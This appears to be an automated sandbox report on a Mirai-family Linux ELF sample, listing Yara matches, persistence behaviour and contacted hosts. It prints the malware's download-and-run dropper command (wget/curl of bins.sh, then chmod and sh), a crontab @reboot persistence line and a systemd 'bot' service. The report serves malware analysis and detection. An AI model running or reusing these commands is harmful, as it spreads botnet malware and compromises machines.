Linux Analysis Report
i686.elf

Overview

General Information

Sample name: i686.elf
Analysis ID: 1558940
MD5: ec6e587f931b314683abe573d5d9bc2a
SHA1: dd2a580e000eb5662b4fb4df5918e9779673bb90
SHA256: e1b71400f50e1e8a099dc9311c317c57e42e2310d1e0002353d115c736b2b0a7
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 72
Range: 0 - 100
Whitelisted: false

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Executes the "crontab" command typically for achieving persistence
Machine Learning detection for sample
Modifies the '.bashrc' or '.bash_profile' file typically for persisting actions
Sample tries to persist itself using cron
Creates hidden files and/or directories
Detected non-DNS traffic on DNS port
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Reads the 'hosts' file potentially containing internal network hosts
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: i686.elf ReversingLabs: Detection: 31%
Machine Learning detection for sample
Source: i686.elf Joe Sandbox ML: detected
Found strings indicative of a multi-platform dropper
Source: i686.elf String: /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogi686->unknown%d/bin/busybox/bin/sh/var/SofiatelnetdQh
Source: i686.elf String: /bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: i686.elf String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") | crontab -/bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrc
Source: .bashrc.13.dr String: /bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: bot.service.13.dr String: ExecStart=/bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Detected non-DNS traffic on DNS port
Source: global traffic TCP traffic: 192.168.2.14:45156 -> 8.8.8.8:53
Source: global traffic TCP traffic: 192.168.2.14:45158 -> 8.8.8.8:53
Source: global traffic TCP traffic: 192.168.2.14:45154 -> 8.8.8.8:53
Source: global traffic TCP traffic: 192.168.2.14:45150 -> 8.8.8.8:53
Source: global traffic TCP traffic: 192.168.2.14:45160 -> 8.8.8.8:53
Reads the 'hosts' file potentially containing internal network hosts
Source: /bin/curl (PID: 5508) Reads hosts file: /etc/hosts Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443
Source: unknown TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: host.zopz-api.com
Source: global traffic DNS traffic detected: DNS query: motd.ubuntu.com
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: tmp.LpIanm.23.dr String found in binary or memory: http://serverip/bins/bins.sh
Source: bot.service.13.dr String found in binary or memory: http://serverip/bins/bins.sh;
Source: unknown Network traffic detected: HTTP traffic on port 46540 -> 443

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: i686.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
Source: i686.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
Source: i686.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_3a85a418 Author: unknown
Source: i686.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
Source: i686.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: i686.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5495.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
Source: 5495.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
Source: 5495.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_3a85a418 Author: unknown
Source: 5495.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
Source: 5495.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5495.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5496.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
Source: 5496.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
Source: 5496.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_3a85a418 Author: unknown
Source: 5496.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
Source: 5496.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5496.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogi686->unknown%d/bin/busybox/bin/sh/var/SofiatelnetdQh
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Yara signature match
Source: i686.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_3a85a418 reference_sample = 86a43b39b157f47ab12e9dc1013b4eec0e1792092d4cef2772a21a9bf4fc518a, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 554aff5770bfe8fdeae94f5f5a0fd7f7786340a95633433d8e686af1c25b8cec, id = 3a85a418-2bd9-445a-86cb-657ca7edf566, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5495.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
Source: 5495.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
Source: 5495.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_3a85a418 reference_sample = 86a43b39b157f47ab12e9dc1013b4eec0e1792092d4cef2772a21a9bf4fc518a, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 554aff5770bfe8fdeae94f5f5a0fd7f7786340a95633433d8e686af1c25b8cec, id = 3a85a418-2bd9-445a-86cb-657ca7edf566, last_modified = 2021-09-16
Source: 5495.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
Source: 5495.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5495.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5496.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
Source: 5496.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
Source: 5496.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_3a85a418 reference_sample = 86a43b39b157f47ab12e9dc1013b4eec0e1792092d4cef2772a21a9bf4fc518a, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 554aff5770bfe8fdeae94f5f5a0fd7f7786340a95633433d8e686af1c25b8cec, id = 3a85a418-2bd9-445a-86cb-657ca7edf566, last_modified = 2021-09-16
Source: 5496.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
Source: 5496.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5496.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: classification engine Classification label: mal72.troj.linELF@0/4@31/0

Persistence and Installation Behavior
barindex
Executes the "crontab" command typically for achieving persistence
Source: /bin/sh (PID: 5505) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 5504) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Modifies the '.bashrc' or '.bash_profile' file typically for persisting actions
Source: /tmp/i686.elf (PID: 5496) File written: /root/.bashrc Jump to behavior
Sample tries to persist itself using cron
Source: /usr/bin/crontab (PID: 5504) File: /var/spool/cron/crontabs/tmp.LpIanm Jump to behavior
Source: /usr/bin/crontab (PID: 5504) File: /var/spool/cron/crontabs/root Jump to behavior
Creates hidden files and/or directories
Source: /tmp/i686.elf (PID: 5496) File: /root/.bashrc Jump to behavior
Source: /bin/curl (PID: 5508) Directory: /root/.curlrc Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/i686.elf (PID: 5502) Shell command executed: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -" Jump to behavior
Source: /tmp/i686.elf (PID: 5512) Shell command executed: sh -c "/bin/systemctl enable bot" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5506) Chmod executable: /usr/bin/chmod -> chmod +x bins.sh Jump to behavior
Source: /bin/sh (PID: 5511) Chmod executable: /usr/bin/chmod -> chmod +x bins.sh Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5513) Systemctl executable: /bin/systemctl -> /bin/systemctl enable bot Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /bin/curl (PID: 5508) Queries kernel information via 'uname': Jump to behavior
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.125.190.26
 unknown United Kingdom
41231 CANONICAL-ASGB false
172.111.38.48
 host.zopz-api.com Reserved
54540 INCERO-HVVCUS false

Contacted Domains

Name IP Active
host.zopz-api.com 172.111.38.48 true
daisy.ubuntu.com unknown unknown
motd.ubuntu.com unknown unknown